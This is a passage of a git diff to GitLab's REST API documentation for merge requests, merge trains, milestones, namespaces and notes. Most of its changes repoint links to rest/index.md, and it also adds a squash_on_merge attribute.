`assignee_username`, `reviewer_id`, `reviewer_username`, `my_reaction_emoji`. | | `order_by` | string | **{dotted-circle}** No | Returns merge requests ordered by `created_at`, `title` or `updated_at` fields. Default is `created_at`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/331625) in GitLab 14.8. | -| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | -| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | +| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | +| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | | `scope` | string | **{dotted-circle}** No | Returns merge requests for the given scope: `created_by_me`, `assigned_to_me` or `all`. | | `search` | string | **{dotted-circle}** No | Search merge requests against their `title` and `description`. | | `source_branch` | string | **{dotted-circle}** No | Returns merge requests with the given source branch. | @@ -616,7 +616,7 @@ Supported attributes: | Attribute | Type | Required | Description | |----------------------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `include_diverged_commits_count` | boolean | **{dotted-circle}** No | If `true`, response includes the commits behind the target branch. | | `include_rebase_in_progress` | boolean | **{dotted-circle}** No | If `true`, response includes whether a rebase operation is in progress. | @@ -866,7 +866,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -902,7 +902,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -946,7 +946,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -997,7 +997,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `access_raw_diffs` | boolean | **{dotted-circle}** No | Retrieve change diffs via Gitaly. | @@ -1120,12 +1120,12 @@ Supported attributes: | Attribute | Type | Required | Description | |-----------|------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `page` | integer | **{dotted-circle}** no | The page of results to return. Defaults to 1. | | `per_page` | integer | **{dotted-circle}** no | The number of results per page. Defaults to 20. | -If successful, returns [`200 OK`](index.md#status-codes) and the +If successful, returns [`200 OK`](rest/index.md#status-codes) and the following response attributes: | Attribute | Type | Description | @@ -1184,7 +1184,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -1218,7 +1218,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -1270,7 +1270,7 @@ POST /projects/:id/merge_requests | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `source_branch` | string | **{check-circle}** Yes | The source branch. | | `target_branch` | string | **{check-circle}** Yes | The target branch. | | `title` | string | **{check-circle}** Yes | Title of MR. | @@ -1284,7 +1284,8 @@ POST /projects/:id/merge_requests | `milestone_id` | integer | **{dotted-circle}** No | The global ID of a milestone. | | `remove_source_branch` | boolean | **{dotted-circle}** No | Flag indicating if a merge request should remove the source branch when merging. | | `reviewer_ids` | integer array | **{dotted-circle}** No | The ID of the users added as a reviewer to the merge request. If set to `0` or left empty, no reviewers are added. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | -| `squash` | boolean | **{dotted-circle}** No | Squash commits into a single commit when merging. | +| `squash` | boolean | no | Indicates if the merge request is set to be squashed when merged. [Project settings](../user/project/merge_requests/squash_and_merge.md#configure-squash-options-for-a-project) may override this value. Use `squash_on_merge` instead to take project squash options into account. | +| `squash_on_merge` | boolean | no | Indicates if the merge request will be squashed when merged. | | `target_project_id` | integer | **{dotted-circle}** No | Numeric ID of the target project. | If `approvals_before_merge` is not provided, it inherits the value from the target project. If provided, the following conditions must hold for it to take effect: @@ -1439,7 +1440,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The ID of a merge request. | | `add_labels` | string | **{dotted-circle}** No | Comma-separated label names to add to a merge request. | | `allow_collaboration` | boolean | **{dotted-circle}** No | Allow commits from members who can merge to the target branch. | @@ -1453,7 +1454,8 @@ PUT /projects/:id/merge_requests/:merge_request_iid | `remove_labels` | string | **{dotted-circle}** No | Comma-separated label names to remove from a merge request. | | `remove_source_branch` | boolean | **{dotted-circle}** No | Flag indicating if a merge request should remove the source branch when merging. | | `reviewer_ids` | integer array | **{dotted-circle}** No | The ID of the users set as a reviewer to the merge request. Set the value to `0` or provide an empty value to unset all reviewers. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | -| `squash` | boolean | **{dotted-circle}** No | Squash commits into a single commit when merging. | +| `squash` | boolean | no | Indicates if the merge request is set to be squashed when merged. [Project settings](../user/project/merge_requests/squash_and_merge.md#configure-squash-options-for-a-project) may override this value. Use `squash_on_merge` instead to take project squash options into account. | +| `squash_on_merge` | boolean | no | Indicates if the merge request will be squashed when merged. | | `state_event` | string | **{dotted-circle}** No | New state (close/reopen). | | `target_branch` | string | **{dotted-circle}** No | The target branch. | | `title` | string | **{dotted-circle}** No | Title of MR. | @@ -1621,7 +1623,7 @@ DELETE /projects/:id/merge_requests/:merge_request_iid | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -1640,7 +1642,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `merge_commit_message` | string | **{dotted-circle}** No | Custom merge commit message. | | `merge_when_pipeline_succeeds` | boolean | **{dotted-circle}** No | If `true`, the merge request is merged when the pipeline succeeds. | @@ -1832,7 +1834,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -1859,7 +1861,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -2027,7 +2029,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid/rebase | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `skip_ci` | boolean | **{dotted-circle}** No | Set to `true` to skip creating a CI pipeline. | @@ -2089,7 +2091,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid/reset_approvals | Attribute | Type | Required | Description | |---------------------|-------------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -2110,7 +2112,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/closes_issues | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -2186,7 +2188,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/subscribe | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -2357,7 +2359,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/unsubscribe | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -2528,7 +2530,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/todo | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell @@ -2774,7 +2776,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/time_estimate | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `duration` | string | **{check-circle}** Yes | The duration in human format, such as `3h30m`. | @@ -2803,7 +2805,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/reset_time_estimate | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of a project's merge request. | ```shell @@ -2831,7 +2833,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/add_spent_time | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | | `duration` | string | **{check-circle}** Yes | The duration in human format, such as `3h30m` | | `summary` | string | **{dotted-circle}** No | A summary of how the time was spent. | @@ -2861,7 +2863,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/reset_spent_time | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of a project's merge request. | ```shell @@ -2887,7 +2889,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/time_stats | Attribute | Type | Required | Description | |---------------------|----------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```shell diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md index e8912aac759..6d5d12a618c 100644 --- a/doc/api/merge_trains.md +++ b/doc/api/merge_trains.md @@ -20,7 +20,7 @@ If Merge Trains is not available for the project, a `403` status code is returne By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## List Merge Trains for a project @@ -33,7 +33,7 @@ GET /projects/:id/merge_trains?scope=complete | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `scope` | string | no | Return Merge Trains filtered by the given scope. Available scopes are `active` (to be merged) and `complete` (have been merged). | | `sort` | string | no | Return Merge Trains sorted in `asc` or `desc` order. Default is `desc`. | @@ -97,7 +97,7 @@ Supported attributes: | Attribute | Type | Required | Description | | --------------- | ---------------| -------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `target_branch` | string | yes | The target branch of the merge train. | | `scope` | string | no | Return Merge Trains filtered by the given scope. Available scopes are `active` (to be merged) and `complete` (have been merged). | | `sort` | string | no | Return Merge Trains sorted in `asc` or `desc` order. Default is `desc`. | @@ -167,7 +167,7 @@ Supported attributes: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `merge_request_iid` | integer | yes | The internal ID of the merge request. | Example request: diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md index dbc6f64044f..80d47da94e0 100644 --- a/doc/api/metrics_user_starred_dashboards.md +++ b/doc/api/metrics_user_starred_dashboards.md @@ -22,7 +22,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `dashboard_path` | string | yes | URL-encoded path to file defining the dashboard which should be marked as favorite. | ```shell @@ -53,7 +53,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied, all dashboards within given projects are removed from favorites. | ```shell diff --git a/doc/api/milestones.md b/doc/api/milestones.md index 22746d4ceed..998beeb9b3b 100644 --- a/doc/api/milestones.md +++ b/doc/api/milestones.md @@ -27,7 +27,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------------------------- | ------ | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | optional | Return only the milestones having the given `iid` (Note: ignored if `include_parent_milestones` is set as `true`) | | `state` | string | optional | Return only `active` or `closed` milestones | | `title` | string | optional | Return only the milestones having the given `title` | @@ -70,7 +70,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | ## Create new milestone @@ -85,7 +85,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `title` | string | yes | The title of a milestone | | `description` | string | no | The description of the milestone | | `due_date` | string | no | The due date of the milestone (`YYYYMMDD`) | @@ -103,7 +103,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | | `title` | string | no | The title of a milestone | | `description` | string | no | The description of the milestone | @@ -125,7 +125,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | ## Get all issues assigned to a single milestone @@ -140,7 +140,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | ## Get all merge requests assigned to a single milestone @@ -155,7 +155,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | ## Promote project milestone to a group milestone @@ -172,7 +172,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | ## Get all burndown chart events for a single milestone **(PREMIUM)** @@ -190,5 +190,5 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of the project's milestone | diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md index f75ebe5a881..cbf7ea079bc 100644 --- a/doc/api/namespaces.md +++ b/doc/api/namespaces.md @@ -12,7 +12,7 @@ Usernames and group names fall under a special category called For users and groups supported API calls see the [users](users.md) and [groups](groups.md) documentation respectively. -[Pagination](index.md#pagination) is used. +[Pagination](rest/index.md#pagination) is used. ## List namespaces @@ -133,7 +133,7 @@ GET /namespaces/:id | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the namespace](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the namespace](rest/index.md#namespaced-path-encoding) | Example request: diff --git a/doc/api/notes.md b/doc/api/notes.md index 44bd7624022..9c453c6390f 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -34,7 +34,7 @@ Some system notes are not part of this API, but are recorded as separate events: By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## Rate limits @@ -54,7 +54,7 @@ GET /projects/:id/issues/:issue_iid/notes?sort=asc&order_by=updated_at | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | `issue_iid` | integer | yes | The IID of an issue | `sort` | string | no | Return issue notes sorted in `asc` or `desc` order. Default is `desc` | `order_by` | string | no | Return issue notes ordered by `created_at` or `updated_at` fields. Default is `created_at` @@ -124,7 +124,7 @@ Parameters: | Attribute | Type | Required | Description | |-------------|----------------|----------|---------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of a project issue | | `note_id` | integer | yes | The ID of an issue note | @@ -144,7 +144,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | The IID of an issue. | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0 and renamed to `internal`. The confidential flag of a note. Default is false. | @@ -167,7 +167,7 @@ Parameters: | Attribute | Type | Required | Description | |----------------|----------------|-------------|----------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | yes | The IID of an issue. | | `note_id` | integer | yes | The ID of a note. | | `body` | string | no | The content of a note. Limited to 1,000,000 characters. | @@ -189,7 +189,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `note_id` | integer | yes | The ID of a note | @@ -212,7 +212,7 @@ GET /projects/:id/snippets/:snippet_id/notes?sort=asc&order_by=updated_at | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | `snippet_id` | integer | yes | The ID of a project snippet | `sort` | string | no | Return snippet notes sorted in `asc` or `desc` order. Default is `desc` | `order_by` | string | no | Return snippet notes ordered by `created_at` or `updated_at` fields. Default is `created_at` @@ -233,7 +233,7 @@ Parameters: | Attribute | Type | Required | Description | |--------------|----------------|----------|---------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of a project snippet | | `note_id` | integer | yes | The ID of a snippet note | @@ -273,7 +273,7 @@ Parameters: | Attribute | Type | Required | Description | |--------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of a snippet | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | | `created_at` | string | no | Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -294,7 +294,7 @@ Parameters: | Attribute | Type | Required | Description | |--------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the 